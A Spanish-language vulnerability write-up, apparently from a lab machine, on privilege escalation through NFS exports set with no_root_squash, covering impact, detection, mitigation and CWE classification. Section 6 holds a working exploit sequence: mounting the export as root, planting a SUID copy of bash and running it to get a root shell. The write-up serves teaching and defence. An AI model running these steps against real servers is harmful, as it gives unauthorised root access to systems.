1. Descripción técnica
NFS (Network File System) permite compartir directorios por red. Por seguridad, NFS aplica por defecto root_squash: cuando un cliente accede al recurso como root (UID 0), el servidor lo "degrada" al usuario nobody (UID 65534), de modo que un root remoto no tenga privilegios de root sobre los archivos exportados.
La opción no_root_squash en /etc/exports desactiva ese mecanismo: el root del cliente conserva privilegios de root en el servidor. Esto se convierte en una vía de escalada local cuando el atacante:
- Tiene acceso (aunque sea como usuario sin privilegios) a la máquina víctima, y
- Controla (como
root) la máquina cliente desde la que monta el recurso NFS.
El atacante monta el recurso como root, coloca en él un binario (por ejemplo una copia de bash) y le asigna propietario root y bit SUID. Como el recurso es el mismo en ambos lados, al ejecutar ese binario desde la víctima se obtiene una shell de root.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root en el servidor NFS de forma fiable.
- Capacidad de crear, modificar, sobrescribir archivos y cambiar permisos/propietarios en los directorios exportados.
- Si la export apunta a directorios críticos, compromiso total del sistema.
3. Condiciones necesarias
- Una export NFS configurada con
no_root_squash(visible en/etc/exports). - Que el directorio exportado tenga permisos de escritura o sea manipulable por el atacante.
- Que el atacante pueda montar el recurso como root desde su máquina y ejecutar binarios desde la víctima.
4. Validación y detección
- Enumerar exports NFS:
showmount -e <target>- Revisar la configuración (desde la víctima):
cat /etc/exports
# /var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)La presencia de no_root_squash (especialmente con rw) es el indicador clave.
5. Mitigación
- Mantener
root_squash(valor por defecto); evitarno_root_squashsalvo necesidad justificada. - Restringir las exports a clientes concretos (no usar
*) y montarlas en solo lectura cuando sea posible. - No exportar directorios críticos del sistema.
- Usar
all_squashy mapeos de usuario explícitos cuando convenga.
6. Explotación documentada en 29-lower3
Comprobamos la export y la montamos como root en nuestra máquina:
❯ showmount -e 10.42.113.14
Export list for 10.42.113.14:
/var/www/html *
❯ sudo mount -t nfs 10.42.113.14:/var/www/html ./nfs_www -nolockConfirmamos no_root_squash en la víctima, copiamos bash al recurso y, desde nuestro montaje (como root), le ponemos propietario root + SUID:
low@lower3:/var/www/html$ cat /etc/exports
/var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)
low@lower3:/var/www/html$ cp /usr/bin/bash .
❯ sudo chown root:root bash
❯ sudo chmod u+s bashEjecutamos el binario SUID desde la víctima:
low@lower3:/var/www/html$ ./bash -p
bash-5.1# whoami
root7. Clasificación
- Tipo: Privilege Escalation / Security Misconfiguration
- CWE:
- CWE-732: Incorrect Permission Assignment for Critical Resource
- CWE-250: Execution with Unnecessary Privileges